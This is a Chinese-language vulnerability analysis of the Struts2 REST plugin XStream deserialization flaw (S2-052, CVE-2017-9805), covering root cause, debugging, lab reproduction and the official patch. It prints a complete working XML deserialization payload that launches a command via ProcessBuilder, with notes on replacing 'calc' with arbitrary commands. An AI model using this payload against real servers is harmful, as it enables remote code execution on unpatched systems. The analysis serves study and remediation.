Struts2-052漏洞分析

這裏寫圖片描述

1. 漏洞描述

  • 漏洞描述:Struts2 REST插件的XStream組件存在反序列化漏洞,使用XStream組件對XML格式的數據包進行反序列化操作時,未對數據內容進行有效驗證,存在安全隱患,可被遠程攻擊。
  • 漏洞編號:CVE-2017-9805
  • 漏洞作者:lgtm.com的安全研究員
  • 影響版本:Version 2.5.0 to 2.5.12 和 Version 2.3.0 to 2.3.33
  • 漏洞等級:高危

2. 漏洞簡介

Question Description
Who should read this All Struts 2 developers and users
Impact of vulnerability A RCE attack is possible when using the Struts REST plugin with XStream handler to deserialise XML requests
Maximum security rating Critical
Recommendation Upgrade to Struts 2.5.13 or Struts 2.3.34
Affected Software Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
Reporter Man Yue Mo (lgtm.com / Semmle). More information on the lgtm.com blog: https://lgtm.com/blog
CVE Identifier CVE-2017-9805

3. 漏洞分析

3.1 漏洞說明

  本次漏洞觸發點是REST插件在解析請求中的xml文件時,調用了XStreamHandler,傳入的數據會被默認進行反序列化,如果當傳入的xml是個經過XStream序列化的惡意對象時,便造成反序列化漏洞。

3.2 漏洞原理分析

  本次漏洞的成因由兩部分組成,一個是 Struts2 REST插件(struts2-rest-plugin-2.x.jar)本身沒有對進入的數據進行安全檢查,導致攻擊者可以傳入惡意的xml對象可以傳入到XStream裏。另一個是XStream在反序列化傳入的xml造成的遠程代碼執行。

關鍵代碼在org.apache.struts2.rest.ContentTypeInterceptor裏。

 public String intercept(ActionInvocation invocation) throws Exception {
        HttpServletRequest request = ServletActionContext.getRequest();
        ContentTypeHandler handler = selector.getHandlerForRequest(request);

        Object target = invocation.getAction();
        if (target instanceof ModelDriven) {
            target = ((ModelDriven)target).getModel();
        }

        if (request.getContentLength() > 0) {
            InputStream is = request.getInputStream();
            InputStreamReader reader = new InputStreamReader(is);
            handler.toObject(reader, target);
        }
        return invocation.invoke();
    }

ContentTypeHandler handler = selector.getHandlerForRequest(request); 通過request數據獲取執行方法:org.apache.struts2.rest.handler.XStreamHandler

handler.toObject(reader, target); 對獲取到的序列化的xml數據進行反序列化操作,在這一階段將序列化的惡意POC進行反序列化操作並造成代碼執行。

這裏我們直接斷點打在上文說的兩個地方,用惡意payload進行攻擊。

這裏寫圖片描述

我們可以看到整個的調用棧,找到斷點處,f5進入斷點邏輯,可以看到在標記處獲取Content-Type的值爲:application/xml。

這裏寫圖片描述

繼續debug,可以看到根據我們獲取到的content-type值從而得到我們代碼執行的調用棧地址:

這裏寫圖片描述

指定了我們的處理方法,繼續斷點到handler.toObject(reader, target);處:

這裏寫圖片描述

f5進去toObject函數方法,繼續執行,在XStreamHanler.toObject調用了XStream的fromXml,從而進入反序列化流程:

這裏寫圖片描述

繼續執行,看到反序列化函數unmarshal,在這個函數執行時沒有進行數據安全檢查,導致遠程代碼執行。

這裏寫圖片描述

返回執行結果:

這裏寫圖片描述

4. 漏洞復現

  1. 通過網上下載含有struts2-rest-plugin-2.5.12.jar版本的官方環境struts2-rest-showcase-2.5.12.war
  2. 將下載的war包通過eclipse導入到工程中,File—>Import—->war file。

    這裏寫圖片描述

  3. 需要注意的是,由於javax.imageio的依賴關係,我們的環境的jdk版本需要是jdk8以上,jdk8某些低版本也是不行的,本文作者的版本是jdk8_111,後續的一些驗證都是在這個版本上做的。
  4. 啓動工程,然後通過burpsuite進行抓包,然後Send to Reapeater 進行數據包篡改。

    這裏寫圖片描述

  5. 主要POC爲:

    <map> 
    <entry> 
    <jdk.nashorn.internal.objects.NativeString> 
    <flags>0</flags> 
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> 
    <dataHandler> 
    <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
    <is class="javax.crypto.CipherInputStream"> 
    <cipher class="javax.crypto.NullCipher"> 
    <initialized>false</initialized> 
    <opmode>0</opmode> 
    <serviceIterator class="javax.imageio.spi.FilterIterator"> 
    <iter class="javax.imageio.spi.FilterIterator"> 
    <iter class="java.util.Collections$EmptyIterator"/> 
    <next class="java.lang.ProcessBuilder"> 
    <command> 
    <string>calc</string> 
    </command> 
    <redirectErrorStream>false</redirectErrorStream> 
    </next> 
    </iter> 
    <filter class="javax.imageio.ImageIO$ContainsFilter"> 
    <method> 
    <class>java.lang.ProcessBuilder</class> 
    <name>start</name> 
    <parameter-types/> 
    </method> 
    <name>foo</name> 
    </filter> 
    <next class="string">foo</next> 
    </serviceIterator> 
    <lock/> 
    </cipher> 
    <input class="java.lang.ProcessBuilder$NullInputStream"/> 
    <ibuffer></ibuffer> 
    <done>false</done> 
    <ostart>0</ostart> 
    <ofinish>0</ofinish> 
    <closed>false</closed> 
    </is> 
    <consumed>false</consumed> 
    </dataSource> 
    <transferFlavors/> 
    </dataHandler> 
    <dataLen>0</dataLen> 
    </value> 
    </jdk.nashorn.internal.objects.NativeString> 
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> 
    </entry> <entry> 
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
    </entry> 
    </map>
    

注意事項:

  1. 注意如果數據包請求方式爲GET的話需要修改爲POST請求方式。
  2. 注意修改Content-Type的值爲:application/xml。
  3. 該POC爲windows服務器上彈出計算器payload,若想修改爲其他執行payload,將<string>calc</string>中的calc替換爲你想執行的命令,空格用多個 <string></string>標籤嵌套。

5. 修復方案

5.1 補丁分析

對struts2-rest-plugin-2.5.12.jar中的struts-plugin.xml進行分析,可以看到XStreamHanler就是Content-Type:xml的默認處理句柄,而且可以看出xml是默認支持格式,這也就是說存在rest插件就會存在XStream的反序列化漏洞。

這裏寫圖片描述

通過對比官方的補丁,我們可以看到最主要的修復邏輯在plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStreamHandler.java中:

這裏寫圖片描述

在官方的修復方案中,主要就是將xml中的數據白名單化,把Collection和Map,一些基礎類,時間類放在白名單中,這樣就能阻止XStream反序列化的過程中帶入一些有害類。

5.2 修復建議

  1. Version 2.3.0 to 2.3.33升級到Struts 2.3.34版本
  2. Version 2.5.0 to 2.5.12升級到Struts 2.5.13版本


原文鏈接:https://yaofeifly.github.io

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章